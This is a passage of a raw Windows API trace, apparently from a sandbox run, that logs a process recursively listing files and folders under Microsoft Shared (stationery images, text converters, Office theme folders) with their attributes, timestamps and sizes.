hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc541a265, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc541a265, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x451bb0f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x7c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Small_News.jpg", cAlternateFileName="")) returned 1 [0078.028] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3dd680, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3dd680, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce1a220d, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Soft Blue.htm", cAlternateFileName="")) returned 1 [0078.029] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3dd680, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3dd680, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa5b3841, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2949, dwReserved0=0x0, dwReserved1=0x0, cFileName="SoftBlue.jpg", cAlternateFileName="")) returned 1 [0078.030] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3dd680, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3dd680, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce1c836a, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stars.htm", cAlternateFileName="")) returned 1 [0078.030] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce4037dd, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce4037dd, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa5ffafd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d51, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stars.jpg", cAlternateFileName="")) returned 1 [0078.030] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc54403c2, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc54403c2, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x452797c9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x748, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stucco.gif", cAlternateFileName="")) returned 1 [0078.030] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc548c67c, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc548c67c, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4529f927, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xe42, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tanspecks.jpg", cAlternateFileName="")) returned 1 [0078.030] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc54b27d9, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc54b27d9, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4573c389, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x121e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tiki.gif", cAlternateFileName="")) returned 1 [0078.031] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc535bb94, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc535bb94, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4573c389, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x6860, dwReserved0=0x0, dwReserved1=0x0, cFileName="To_Do_List.emf", cAlternateFileName="")) returned 1 [0078.031] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc54fea93, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc54fea93, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x457ae7a3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc60, dwReserved0=0x0, dwReserved1=0x0, cFileName="White_Chocolate.jpg", cAlternateFileName="")) returned 1 [0078.031] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5524bf0, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5524bf0, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x457faa5f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3ad7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wrinkled_Paper.gif", cAlternateFileName="")) returned 1 [0078.031] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5524bf0, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5524bf0, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x457faa5f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3ad7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wrinkled_Paper.gif", cAlternateFileName="")) returned 0 [0078.031] FindClose (in: hFindFile=0x2684270 | out: hFindFile=0x2684270) returned 1 [0078.034] GetProcessHeap () returned 0x550000 [0078.034] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26950a8 | out: hHeap=0x550000) returned 1 [0078.034] FindNextFileW (in: hFindFile=0x2684230, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xcf4f23c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xcf4f23c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TextConv", cAlternateFileName="")) returned 1 [0078.034] GetProcessHeap () returned 0x550000 [0078.034] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26950a8 [0078.035] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\*", lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xcf4f23c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xcf4f23c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2684270 [0078.035] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xcf4f23c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xcf4f23c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.036] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0078.036] GetProcessHeap () returned 0x550000 [0078.036] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26a90b0 [0078.036] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US\\*", lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0078.037] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.037] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0078.037] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0078.037] GetProcessHeap () returned 0x550000 [0078.037] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26a90b0 | out: hHeap=0x550000) returned 1 [0078.037] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e16af00, ftCreationTime.dwHighDateTime=0x1cbae03, ftLastAccessTime.dwLowDateTime=0xcf518520, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3e16af00, ftLastWriteTime.dwHighDateTime=0x1cbae03, nFileSizeHigh=0x0, nFileSizeLow=0x23d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSCONV97.DLL", cAlternateFileName="")) returned 1 [0078.037] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1aeaee00, ftCreationTime.dwHighDateTime=0x1ca9122, ftLastAccessTime.dwLowDateTime=0xef0320d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1aeaee00, ftLastWriteTime.dwHighDateTime=0x1ca9122, nFileSizeHigh=0x0, nFileSizeLow=0x8f68, dwReserved0=0x0, dwReserved1=0x0, cFileName="RECOVR32.CNV", cAlternateFileName="")) returned 1 [0078.038] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f938f00, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x7090d6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2f938f00, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0xdfa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wks9Pxy.cnv", cAlternateFileName="")) returned 1 [0078.038] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56ce200, ftCreationTime.dwHighDateTime=0x1cbd856, ftLastAccessTime.dwLowDateTime=0xc226ea20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x56ce200, ftLastWriteTime.dwHighDateTime=0x1cbd856, nFileSizeHigh=0x0, nFileSizeLow=0x30170, dwReserved0=0x0, dwReserved1=0x0, cFileName="WPFT532.CNV", cAlternateFileName="")) returned 1 [0078.038] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e16af00, ftCreationTime.dwHighDateTime=0x1cbae03, ftLastAccessTime.dwLowDateTime=0xc2294b80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3e16af00, ftLastWriteTime.dwHighDateTime=0x1cbae03, nFileSizeHigh=0x0, nFileSizeLow=0x46b70, dwReserved0=0x0, dwReserved1=0x0, cFileName="WPFT632.CNV", cAlternateFileName="")) returned 1 [0078.038] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e16af00, ftCreationTime.dwHighDateTime=0x1cbae03, ftLastAccessTime.dwLowDateTime=0xc2294b80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3e16af00, ftLastWriteTime.dwHighDateTime=0x1cbae03, nFileSizeHigh=0x0, nFileSizeLow=0x46b70, dwReserved0=0x0, dwReserved1=0x0, cFileName="WPFT632.CNV", cAlternateFileName="")) returned 0 [0078.038] FindClose (in: hFindFile=0x2684270 | out: hFindFile=0x2684270) returned 1 [0078.039] GetProcessHeap () returned 0x550000 [0078.039] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26950a8 | out: hHeap=0x550000) returned 1 [0078.039] FindNextFileW (in: hFindFile=0x2684230, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="THEMES14", cAlternateFileName="")) returned 1 [0078.039] GetProcessHeap () returned 0x550000 [0078.039] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26950a8 [0078.039] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*", lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2684270 [0078.738] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.034] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AFTRNOON", cAlternateFileName="")) returned 1 [0079.034] GetProcessHeap () returned 0x550000 [0079.035] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26a90b0 [0079.035] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\*", lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0079.035] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.035] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdad6ec00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdad6ec00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xe58e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AFTRNOON.ELM", cAlternateFileName="")) returned 1 [0079.036] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e63000, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x86e63000, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x22b, dwReserved0=0x0, dwReserved1=0x0, cFileName="AFTRNOON.INF", cAlternateFileName="")) returned 1 [0079.036] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85b50300, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x85b50300, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x621, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0079.036] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e63000, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x86e63000, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x6292, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0079.036] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e63000, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x86e63000, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x6292, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0079.036] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0079.036] GetProcessHeap () returned 0x550000 [0079.037] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26a90b0 | out: hHeap=0x550000) returned 1 [0079.037] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARCTIC", cAlternateFileName="")) returned 1 [0079.037] GetProcessHeap () returned 0x550000 [0079.037] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26a90b0 [0079.037] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\*", lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0079.251] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.251] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc081900, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x5146e3d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdc081900, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x10fc7, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARCTIC.ELM", cAlternateFileName="")) returned 1 [0079.252] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a79b700, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5146e3d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8a79b700, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x201, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARCTIC.INF", cAlternateFileName="")) returned 1 [0079.252] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a79b700, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8a79b700, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0xba9, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0079.252] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a79b700, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8a79b700, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x4d44, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0079.252] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a79b700, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, 